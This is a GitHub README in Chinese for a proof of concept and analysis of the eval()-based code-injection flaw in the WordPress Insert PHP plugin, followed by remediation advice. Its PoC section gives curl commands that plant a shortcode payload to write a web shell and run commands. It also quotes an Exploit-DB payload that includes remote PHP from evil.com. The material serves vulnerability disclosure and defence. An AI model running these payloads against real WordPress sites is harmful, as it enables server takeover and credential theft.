Polosss/By-Poloss..-..CVE-2017-20251
GitHub: Polosss/By-Poloss..-..CVE-2017-20251
针对 WordPress Insert PHP 插件远程代码执行漏洞(CVE-2017-20251)的概念验证利用代码及技术分析。
Stars: 0 | Forks: 0
# CVE-2017-20251:Insert PHP 插件 PHP 代码注入
## 漏洞标题
通过 Insert PHP 插件的 Shortcode 处理实现未授权 PHP 代码注入
## 基本信息
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2017-20251 |
| **插件** | Insert PHP(现为 Woody Code Snippets) |
| **受影响版本** | < 3.3.1(已在 1.3 版本上测试) |
| **CWE** | CWE-94(代码注入) |
| **CVSS v3.1** | 9.8(严重) |
| **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **披露** | 公开(Exploit-DB 41308) |
## 描述
3.3.1 版本之前的 Insert PHP 插件允许远程攻击者通过 shortcode 注入漏洞执行任意 PHP 代码。该插件注册了一个 `[insert_php]...[/insert_php]` shortcode,它使用 PHP 的 `eval()` 函数直接对 shortcode 标签内的内容进行求值,且没有任何清理或验证。
能够创建或修改文章的攻击者(通过 REST API、XML-RPC,或具有贡献者/管理员权限)可以将任意 PHP 代码注入到任何渲染其内容的页面或文章中,从而在 Web 服务器上实现完全的远程代码执行。
## 技术分析
### 根本原因
该漏洞存在于注册为 `the_content` 过滤器的 `will_bontrager_insert_php()` 函数中:
```
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
```
**关键问题:**
1. shortcode 内容未经任何清理直接传递给 `eval()`
2. 没有执行任何身份验证或权限检查
3. 没有验证内容是否来自合法的 snippet 文章
4. 该过滤器在优先级 9 运行,在其他 WordPress 过滤器之前处理内容
### 攻击向量
1. **初始访问**:攻击者创建或编辑包含恶意 `[insert_php]` shortcode 内容的文章
2. **投递**:该 shortcode 作为文章内容存储在 WordPress 数据库中
3. **执行**:当任何用户查看该页面时,WordPress 会运行 `the_content` 过滤器
4. **影响**:`eval()` 在服务器上执行任意 PHP 代码
### 利用条件
- 安装并激活了 3.3.1 以下版本 Insert PHP 插件的 WordPress 站点
- 攻击者必须具备创建或编辑文章的能力(贡献者角色或更高)
- 在 4.7 以下的 WordPress 版本中,REST API 允许未经身份验证的文章创建(从而实现完全的未授权 RCE)
- 在 4.7 及以上的 WordPress 版本中,通过 REST API 创建文章需要进行身份验证
## 影响
**严重程度:严重**
在 Web 服务器上实现完全的远程代码执行(RCE):
- 在服务器上执行任意 PHP 代码
- 读取/写入 Web 服务器用户可访问的任何文件
- 从 wp-config.php 获取数据库凭据
- 安装 web shell 或后门
- 横向渗透到其他系统
- 对机密性、完整性和可用性造成完全破坏
## PoC - Curl 命令
### 步骤 1:创建带有恶意 Shortcode 的文章(需身份验证)
```
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"\");[/insert_php]",
"status": "publish"
}'
```
### 步骤 2:访问文章以触发代码执行
```
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
```
### 步骤 3:验证代码执行
```
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
```
### 替代方案:直接 eval() 测试(简单证明)
```
# 创建 post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# 验证
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
```
### Exploit-DB 参考(未授权,WP < 4.7)
对于 REST API 允许未经身份验证创建文章的旧版 WordPress:
```
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
```
## 响应示例
当处理易受攻击的 shortcode 时,其中的 PHP 代码会被 `eval()` 执行。对于标记文件测试:
```
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
```
## 推荐修复方案
1. **立即处理**:卸载 Insert PHP 插件或升级到 3.3.1 及以上版本
2. **替代插件**:使用现代的代码 snippet 插件,例如使用安全执行上下文的 WPCode
3. **如果必须使用 PHP snippet**:确保只有受信任的管理员才能创建/编辑文章,并考虑对非管理员禁用 REST API
4. **强化配置**:设置 `DISALLOW_UNFILTERED_HTML` 常量(尽管这并不能完全缓解该问题)
### 补丁分析
修复后的版本(3.3.1+):
- 将 shortcode 从 `[insert_php]` 重命名为 `[wbcr_php_snippet]`
- 移除了直接的 `eval()` 调用,转而使用安全的执行上下文
- 在 REST API endpoint 上添加了身份验证检查
- 在执行前实现了 snippet ID 验证
## 参考资料
- [Exploit-DB 41308](https://www.exploit-db.com/exploits/41308)
- [NVD CVE-2017-20251](https://nvd.nist.gov/vuln/detail/CVE-2017-20251)
- [WordPress 插件页面](https://wordpress.org/plugins/insert-php/)
- [CWE-94:代码注入](https://cwe.mitre.org/data/definitions/94.html)
标签:CISA项目, Cutter, Go语言工具, OpenVAS, PHP, WordPress插件, 安全漏洞